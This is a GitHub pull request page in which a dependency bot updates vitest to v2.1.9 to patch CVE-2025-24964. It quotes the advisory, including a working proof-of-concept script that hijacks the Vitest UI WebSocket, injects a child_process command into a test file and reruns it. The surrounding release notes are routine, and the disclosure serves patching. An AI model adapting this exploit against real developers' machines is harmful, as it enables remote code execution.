Skip to content

Update dependency vitest to v2.1.9 [SECURITY] - #12

Open
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vitest-vulnerability
Open

Update dependency vitest to v2.1.9 [SECURITY]#12
renovate[bot] wants to merge 1 commit into
mainfrom
renovate/npm-vitest-vulnerability

Conversation

@renovate

@renovate renovate Bot commented Feb 5, 2025

Copy link
Copy Markdown

ℹ️ Note

This PR body was truncated due to platform limits.

This PR contains the following updates:

Package Change Age Confidence
vitest (source) 2.0.12.1.9 age confidence

Vitest allows Remote Code Execution when accessing a malicious website while Vitest API server is listening

CVE-2025-24964 / GHSA-9crc-q9x8-hgqq

More information

Details

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L32-L46

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.
https://github.com/vitest-dev/vitest/blob/9a581e1c43e5c02b11e2a8026a55ce6a8cb35114/packages/vitest/src/api/setup.ts#L66-L76

PoC
  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})
Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Severity

  • CVSS Score: 9.6 / 10 (Critical)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

References

This data is provided by the GitHub Advisory Database (CC-BY 4.0).


Release Notes

vitest-dev/vitest (vitest)

v2.1.9

Compare Source

This release includes security patches for:

   🐞 Bug Fixes
    View changes on GitHub

v2.1.8

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v2.1.7

Compare Source

   🐞 Bug Fixes
  • Revert support for Vite 6  -  by @​sheremet-va (fbe5c)
    • This introduced some breaking changes (#​6992). We will enable support for it later. In the meantime, you can still use pnpm.overrides or yarn resolutions to override the vite version in the vitest package - the APIs are compatible.
    View changes on GitHub

v2.1.6

Compare Source

🚀 Features

  • Support Vite 6
    View changes on GitHub

v2.1.5

Compare Source

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v2.1.4

Compare Source

   🚀 Features

This patch release includes a non-breaking feature for the experimental Browser Mode that doesn't follow SemVer. If you want to avoid picking up releases like this, make sure to pin the Vitest version in your package.json. See npm's documentation about semver for more information.

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v2.1.3

Compare Source

   🐞 Bug Fixes
   🏎 Performance
    View changes on GitHub

v2.1.2

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v2.1.1

Compare Source

   🐞 Bug Fixes
    View changes on GitHub

v2.1.0

Compare Source

This release makes another big change to the Browser Mode by introducing locators API:

test('renders blog posts', async () => {
  const screen = page.render(<Blog />)

  await expect.element(screen.getByRole('heading', { name: 'Blog' })).toBeInTheDocument()

  const [firstPost] = screen.getByRole('listitem').all()

  await firstPost.getByRole('button', { name: 'Delete' }).click()

  expect(screen.getByRole('listitem').all()).toHaveLength(3)
})

You can use either vitest-browser-vue, vitest-browser-svelte or vitest-browser-react to render components and make assertions using locators. Locators are also available on the page object from @vitest/browser/context.

Potential Breaking Change
  • workspace:
    • Correctly resolve workspace globs and file paths  -  by @​sheremet-va in #​6316 (afdcb)
    • This changes how the custom glob pattern in the workspace config is treated. Any file matching the glob is considered a Vitest config file. Any folder matching the glob pattern is treated as a workspace project and is subject to the regular config resolution (single vitest.config.ts or vite.config.ts inside the folder)
    • For example, projects/* will match anything inside the projects folder. If it's a folder, we try to find the config inside that folder (if there is none, it is still treated as a project with the default config). If it's a file, it will be treated as a Vitest config. projects/**/* previously would assume that you only wanted to have folders as projects, but now it will match every single file insideprojects.
    • This change doesn't affect non-glob usage.
   🚀 Features
   🐞 Bug Fixes
    View changes on GitHub

v2.0.5

Compare Source

   🚀 Features
  • Introduce experimental reported tasks  -  by @​sheremet-va in #​6149 (13d85)
    • This is part of the experimental API and doesn't follow semver. We are hoping to stabilize it for 2.1. If you are working with custom reporters, give this a go!
   🐞 Bug Fixes
    View changes on GitHub

v2.0.4

Compare Source

   🐞 Bug Fixes

Note

PR body was truncated to here.


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR was generated by Mend Renovate. View the repository job log.

@sourcery-ai

sourcery-ai Bot commented Feb 5, 2025

Copy link
Copy Markdown

Reviewer's Guide by Sourcery

This PR updates the vitest dependency from v2.0.1 to v2.1.9 to address a security vulnerability (CVE-2025-24964) that allows for arbitrary remote code execution when the api option is enabled. The update includes breaking changes, features, bug fixes, and dependency updates as detailed in the release notes.

Sequence diagram showing the security vulnerability in Vitest v2.0.1

sequenceDiagram
    actor Attacker
    participant MW as Malicious Website
    participant WS as WebSocket Server
    participant VF as Vitest File System
    participant TS as Test Suite

    Note over WS: No Origin check or auth
    Attacker->>MW: Visits malicious site
    MW->>WS: Connect to ws://localhost:51204/__vitest_api__
    MW->>WS: Request file list
    WS-->>MW: Return test files
    MW->>WS: saveTestFile with malicious code
    WS->>VF: Write malicious code
    MW->>WS: rerun command
    WS->>TS: Execute modified test file
    TS->>TS: Execute arbitrary code
Loading

File-Level Changes

Change Details Files
Updated vitest dependency to address CVE-2025-24964.
  • Updated vitest version from 2.0.1 to 2.1.9.
pnpm-lock.yaml

Tips and commands

Interacting with Sourcery

  • Trigger a new review: Comment @sourcery-ai review on the pull request.
  • Continue discussions: Reply directly to Sourcery's review comments.
  • Generate a GitHub issue from a review comment: Ask Sourcery to create an
    issue from a review comment by replying to it. You can also reply to a
    review comment with @sourcery-ai issue to create an issue from it.
  • Generate a pull request title: Write @sourcery-ai anywhere in the pull
    request title to generate a title at any time. You can also comment
    @sourcery-ai title on the pull request to (re-)generate the title at any time.
  • Generate a pull request summary: Write @sourcery-ai summary anywhere in
    the pull request body to generate a PR summary at any time exactly where you
    want it. You can also comment @sourcery-ai summary on the pull request to
    (re-)generate the summary at any time.
  • Generate reviewer's guide: Comment @sourcery-ai guide on the pull
    request to (re-)generate the reviewer's guide at any time.
  • Resolve all Sourcery comments: Comment @sourcery-ai resolve on the
    pull request to resolve all Sourcery comments. Useful if you've already
    addressed all the comments and don't want to see them anymore.
  • Dismiss all Sourcery reviews: Comment @sourcery-ai dismiss on the pull
    request to dismiss all existing Sourcery reviews. Especially useful if you
    want to start fresh with a new review - don't forget to comment
    @sourcery-ai review to trigger a new review!
  • Generate a plan of action for an issue: Comment @sourcery-ai plan on
    an issue to generate a plan of action for it.

Customizing Your Experience

Access your dashboard to:

  • Enable or disable review features such as the Sourcery-generated pull request
    summary, the reviewer's guide, and others.
  • Change the review language.
  • Add, remove or edit custom review instructions.
  • Adjust other review settings.

Getting Help

@sourcery-ai sourcery-ai Bot left a comment

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

We have skipped reviewing this pull request. Here's why:

  • It seems to have been created by a bot (hey, renovate[bot]!). We assume it knows what it's doing!
  • All of the files are larger than we can process. We're working on it!

@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 9580561 to 5dac859 Compare February 9, 2025 11:46
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 5dac859 to cb5cb0b Compare March 5, 2025 03:45
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 3 times, most recently from c86605c to bc74b37 Compare March 18, 2025 08:00
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from bc74b37 to 8207e63 Compare April 2, 2025 19:50
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 8207e63 to e066638 Compare April 12, 2025 04:05
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from e066638 to a7a877a Compare April 27, 2025 03:50
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from a7a877a to 9398b89 Compare May 24, 2025 11:59
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 642d688 to 87cb5f3 Compare June 6, 2025 17:16
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 87cb5f3 to 4f73d27 Compare July 5, 2025 04:02
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 6206b44 to 36b70d7 Compare August 15, 2025 11:50
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 36b70d7 to 3d7bc27 Compare August 24, 2025 00:06
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 3d7bc27 to 8aa1d35 Compare September 26, 2025 12:04
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 8aa1d35 to 14bbfb1 Compare October 23, 2025 19:28
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from e589a9b to 7b4dab5 Compare November 19, 2025 03:29
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 7b4dab5 to d941e86 Compare December 4, 2025 20:14
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from d941e86 to 2094a5b Compare January 1, 2026 20:08
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 2094a5b to 0e26d98 Compare January 9, 2026 12:15
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 0e26d98 to 08c3911 Compare January 20, 2026 03:56
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 08c3911 to b76926f Compare February 3, 2026 19:46
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from b76926f to 2250fa6 Compare February 13, 2026 20:15
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from 4e4d9d3 to 7c5e40c Compare March 14, 2026 17:22
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 7c5e40c to 9e99c50 Compare April 15, 2026 11:39
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 9e99c50 to 3d738ff Compare May 1, 2026 07:38
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 3d738ff to d596e7e Compare May 13, 2026 20:15
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from d596e7e to b137083 Compare May 22, 2026 03:27
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch 2 times, most recently from d9faa69 to b37fad7 Compare June 4, 2026 04:01
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from b37fad7 to 173c094 Compare June 12, 2026 14:45
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 173c094 to 6bdc921 Compare July 18, 2026 00:06
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 6bdc921 to 5459186 Compare July 25, 2026 12:00
@renovate
renovate Bot force-pushed the renovate/npm-vitest-vulnerability branch from 5459186 to 8805af4 Compare August 1, 2026 11:45
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

0 participants